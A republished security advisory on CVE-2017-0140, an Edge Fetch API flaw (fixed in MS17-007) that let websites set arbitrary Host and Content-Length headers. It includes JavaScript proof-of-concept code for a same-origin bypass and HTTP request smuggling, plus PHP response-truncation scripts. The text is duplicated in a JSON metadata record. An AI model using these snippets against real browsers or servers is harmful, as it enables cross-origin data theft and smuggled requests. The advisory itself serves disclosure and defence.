Microsoft Edge Fetch API Arbitrary Header Setting

Description

`------------------------------------------------------------------------
Microsoft Edge Fetch API allows setting of arbitrary request headers
------------------------------------------------------------------------
Yorick Koster, January 2017
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was found that the Fetch API in Microsoft Edge allows websites to set
arbitrary HTTP request headers, including the Content-Length, and Host
headers. Amongst others, a malicious website can use this issue to
bypass the same origin policy, read HTTP response headers, or initiate
arbitrary HTTP requests from the victim's browser (HTTP request
smuggling).
------------------------------------------------------------------------
See also
------------------------------------------------------------------------
- CVE-2017-0140
- MS17-007: Cumulative Security Update for Microsoft Edge (4013071)
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Microsoft Edge version
38.14393.0.0 (EdgeHTML 14.14393).
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Microsoft released MS17-007 that fixes this vulnerability.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20170101/microsoft_edge_fetch_api_allows_setting_of_arbitrary_request_headers.html
The Fetch API is exposed in the global window scope, and uses promises to handle the results. Promises can be chained together if needed. A simple Fetch request looks something like this:
fetch('/restapi/')
.then(function(response) {
response.json().then(function(data) {
console.log(data);
});
})
.catch(function(err) {
console.log('Error :', err);
});
The first argument of the fetch() method can be an URL or Request object. The second argument is optional and contains custom settings that apply to the request, including the HTTP method, HTTP request headers, HTTP request body, and the mode (same-origin, cors, no-cors, or navigate).
Both Google Chrome and Firefox restrict which HTTP request headers can be set using Fetch. It was found that Microsoft Edge accepts practically any HTTP request header, including the Content-Length, and Host headers.
Same origin policy bypass
Because Microsoft Edge allows arbitrary Host headers to be set, it is possible to bypass the same origin policy if multiple virtual hosts are running on the same IP address. An attack that has control of a website running as one virtual host can read the contents of websites of other virtual hots by setting the Host header to the DNS name of the other virtual hosts. The following proof of concept demonstrates this issue:
var headers = new Headers();
headers.append('Host', '&lt;target virtual host&gt;');
fetch('/', {headers: headers})
.then(function(response) {
response.text().then(function(text) {
console.log(text);
});
})
.catch(function(err) {
console.log('Error :', err);
});
Another possible attack scenario would be if a web application responds differently depending on the value of the Host header. For example, some applications return debugging information when the Host header is set to localhost. This could be useful for an attacker when it is combined with a Cross-Site Scripting vulnerability.
HTTP request smuggling
Since it is possible to set an arbitrary Content-Length header, an attacker could use this issue to perform an HTTP request smuggling attack. This can be done by doing a POST request with the Content-Length set to zero and the body containing another (forged) HTTP request. Since an attacker controls the HTTP body, this second request is not restricted in any way. For example, it is possible to perform a TRACE request, which is normally blocked by the browser.
var headers = new Headers();
headers.append('Content-Length', '0');
var body = 'TRACE / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n';
fetch('/', {method: 'POST',
headers: headers,
body: body})
.then(function(response) {
response.text().then(function(text) {
console.log(text);
});
})
.catch(function(err) {
console.log('Error :', err);
});
This example will create a HTTP request similar to the one below. Due to the Content-Length header being set to zero, the Fetch request is interpreted as two HTTP requests.
POST / HTTP/1.1
Accept: */*
content-length: 0
content-type: text/plain;charset=UTF-8
Origin: &lt;http://origin&gt;
Referer: &lt;http://origin/referer&gt;
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Host: &lt;origin&gt;
DNT: 1
Connection: Keep-Alive
TRACE / HTTP/1.1
Host: localhost
Connection: close
If the target user is behind a HTTP proxy server, it is even possible to make requests to arbitrary websites. In this case the attacker is not restricted the availability of virtual hosts. For example:
var headers = new Headers();
headers.append('Content-Length', '0');
var body = 'GET https://www.securify.nl/ HTTP/1.1\r\nHost: www.securify.nl\r\nConnection: close\r\n\r\n';
fetch('/', {method: 'POST',
headers: headers,
body: body})
.then(function(response) {
response.text().then(function(text) {
console.log(text);
});
})
.catch(function(err) {
console.log('Error :', err);
});
Reading HTTP response headers
When performing an HTTP request smuggling attack using the Fetch API, it is in most cases not possible to read the response of the second HTTP request. This is because fetch() only expects one HTTP response to be returned. In some cases it is possible to read the second response - including its HTTP headers - if an attacker can somehow manage to prematurely end the first response.
If the first response contains an (overly) long Content-Length header with a smaller body or the response is part of an incomplete chunked encoded response, it is possible to trick the Fetch API into thinking that the second response is part of the first response's HTTP body. This behavior can be simulated using the following PHP scripts:
&lt;?php
apache_setenv('no-gzip', '1');
ob_end_clean();
ignore_user_abort();
ob_start();
header("Content-Length: 1000000");
ob_end_flush();
flush();
exit;
?&gt;
&lt;?php
header('Transfer-Encoding: chunked');
echo '1000000\r\n';
exit;
?&gt;
`

All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2017

Protected by

{"type": "packetstorm", "published": "2017-03-14T00:00:00", "href": "https://packetstormsecurity.com/files/141621/Microsoft-Edge-Fetch-API-Arbitrary-Header-Setting.html", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "005ec28a7d5d00779ea7558dfc85b6fe"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "62304661f73c800e6248074c9ad5cfe1"}, {"key": "modified", "hash": "b8d2e9770277e4a8198efeee8a25dfbc"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "b8d2e9770277e4a8198efeee8a25dfbc"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "04fd9dae79cc07c52bbc0cb237089996"}, {"key": "sourceData", "hash": "873794ee8449a4e0dc95a489906b95cd"}, {"key": "sourceHref", "hash": "7d3c8a0c335f518bee3650dd18f38b96"}, {"key": "title", "hash": "4cdb6a0b049e1a291a5c1ff41e559ceb"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceData": "`------------------------------------------------------------------------ \nMicrosoft Edge Fetch API allows setting of arbitrary request headers \n------------------------------------------------------------------------ \nYorick Koster, January 2017 \n \n------------------------------------------------------------------------ \nAbstract \n------------------------------------------------------------------------ \nIt was found that the Fetch API in Microsoft Edge allows websites to set \narbitrary HTTP request headers, including the Content-Length, and Host \nheaders. Amongst others, a malicious website can use this issue to \nbypass the same origin policy, read HTTP response headers, or initiate \narbitrary HTTP requests from the victim's browser (HTTP request \nsmuggling). \n \n------------------------------------------------------------------------ \nSee also \n------------------------------------------------------------------------ \n- CVE-2017-0140 \n- MS17-007: Cumulative Security Update for Microsoft Edge (4013071) \n \n------------------------------------------------------------------------ \nTested versions \n------------------------------------------------------------------------ \nThis issue was successfully tested on Microsoft Edge version \n38.14393.0.0 (EdgeHTML 14.14393). \n \n------------------------------------------------------------------------ \nFix \n------------------------------------------------------------------------ \nMicrosoft released MS17-007 that fixes this vulnerability. \n \n------------------------------------------------------------------------ \nDetails \n------------------------------------------------------------------------ \nhttps://www.securify.nl/advisory/SFY20170101/microsoft_edge_fetch_api_allows_setting_of_arbitrary_request_headers.html \n \nThe Fetch API is exposed in the global window scope, and uses promises to handle the results. Promises can be chained together if needed. A simple Fetch request looks something like this: \n \nfetch('/restapi/') \n.then(function(response) { \nresponse.json().then(function(data) { \nconsole.log(data); \n}); \n}) \n.catch(function(err) { \nconsole.log('Error :', err); \n}); \n \nThe first argument of the fetch() method can be an URL or Request object. The second argument is optional and contains custom settings that apply to the request, including the HTTP method, HTTP request headers, HTTP request body, and the mode (same-origin, cors, no-cors, or navigate). \n \nBoth Google Chrome and Firefox restrict which HTTP request headers can be set using Fetch. It was found that Microsoft Edge accepts practically any HTTP request header, including the Content-Length, and Host headers. \nSame origin policy bypass \n \nBecause Microsoft Edge allows arbitrary Host headers to be set, it is possible to bypass the same origin policy if multiple virtual hosts are running on the same IP address. An attack that has control of a website running as one virtual host can read the contents of websites of other virtual hots by setting the Host header to the DNS name of the other virtual hosts. The following proof of concept demonstrates this issue: \n \nvar headers = new Headers(); \nheaders.append('Host', '<target virtual host>'); \nfetch('/', {headers: headers}) \n.then(function(response) { \nresponse.text().then(function(text) { \nconsole.log(text); \n}); \n}) \n.catch(function(err) { \nconsole.log('Error :', err); \n}); \n \nAnother possible attack scenario would be if a web application responds differently depending on the value of the Host header. For example, some applications return debugging information when the Host header is set to localhost. This could be useful for an attacker when it is combined with a Cross-Site Scripting vulnerability. \nHTTP request smuggling \n \nSince it is possible to set an arbitrary Content-Length header, an attacker could use this issue to perform an HTTP request smuggling attack. This can be done by doing a POST request with the Content-Length set to zero and the body containing another (forged) HTTP request. Since an attacker controls the HTTP body, this second request is not restricted in any way. For example, it is possible to perform a TRACE request, which is normally blocked by the browser. \n \nvar headers = new Headers(); \nheaders.append('Content-Length', '0'); \nvar body = 'TRACE / HTTP/1.1\\r\\nHost: localhost\\r\\nConnection: close\\r\\n\\r\\n'; \nfetch('/', {method: 'POST', \nheaders: headers, \nbody: body}) \n.then(function(response) { \nresponse.text().then(function(text) { \nconsole.log(text); \n}); \n}) \n.catch(function(err) { \nconsole.log('Error :', err); \n}); \n \nThis example will create a HTTP request similar to the one below. Due to the Content-Length header being set to zero, the Fetch request is interpreted as two HTTP requests. \n \nPOST / HTTP/1.1 \nAccept: */* \ncontent-length: 0 \ncontent-type: text/plain;charset=UTF-8 \nOrigin: <http://origin> \nReferer: <http://origin/referer> \nAccept-Encoding: gzip, deflate \nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393 \nHost: <origin> \nDNT: 1 \nConnection: Keep-Alive \n \nTRACE / HTTP/1.1 \nHost: localhost \nConnection: close \n \nIf the target user is behind a HTTP proxy server, it is even possible to make requests to arbitrary websites. In this case the attacker is not restricted the availability of virtual hosts. For example: \n \nvar headers = new Headers(); \nheaders.append('Content-Length', '0'); \nvar body = 'GET https://www.securify.nl/ HTTP/1.1\\r\\nHost: www.securify.nl\\r\\nConnection: close\\r\\n\\r\\n'; \nfetch('/', {method: 'POST', \nheaders: headers, \nbody: body}) \n.then(function(response) { \nresponse.text().then(function(text) { \nconsole.log(text); \n}); \n}) \n.catch(function(err) { \nconsole.log('Error :', err); \n}); \nReading HTTP response headers \n \nWhen performing an HTTP request smuggling attack using the Fetch API, it is in most cases not possible to read the response of the second HTTP request. This is because fetch() only expects one HTTP response to be returned. In some cases it is possible to read the second response - including its HTTP headers - if an attacker can somehow manage to prematurely end the first response. \n \nIf the first response contains an (overly) long Content-Length header with a smaller body or the response is part of an incomplete chunked encoded response, it is possible to trick the Fetch API into thinking that the second response is part of the first response's HTTP body. This behavior can be simulated using the following PHP scripts: \n \n<?php \napache_setenv('no-gzip', '1'); \nob_end_clean(); \nignore_user_abort(); \nob_start(); \nheader(\"Content-Length: 1000000\"); \nob_end_flush(); \nflush(); \nexit; \n?> \n \n<?php \nheader('Transfer-Encoding: chunked'); \necho '1000000\\r\\n'; \nexit; \n?> \n \n \n`\n", "viewCount": 7, "history": [], "edition": 1, "objectVersion": "1.2", "reporter": "Securify B.V.", "sourceHref": "https://packetstormsecurity.com/files/download/141621/msedge-arbitraryheaders.txt", "title": "Microsoft Edge Fetch API Arbitrary Header Setting", "enchantments": {"vulnersScore": 4.3}, "references": [], "id": "PACKETSTORM:141621", "hash": "cdedd4fa44eea20ea7c488c1aec28612c7fdbcaf2aaa53cc77beb6d8f6e2cab0", "lastseen": "2017-03-15T01:15:35", "cvelist": ["CVE-2017-0140"], "modified": "2017-03-14T00:00:00", "description": ""}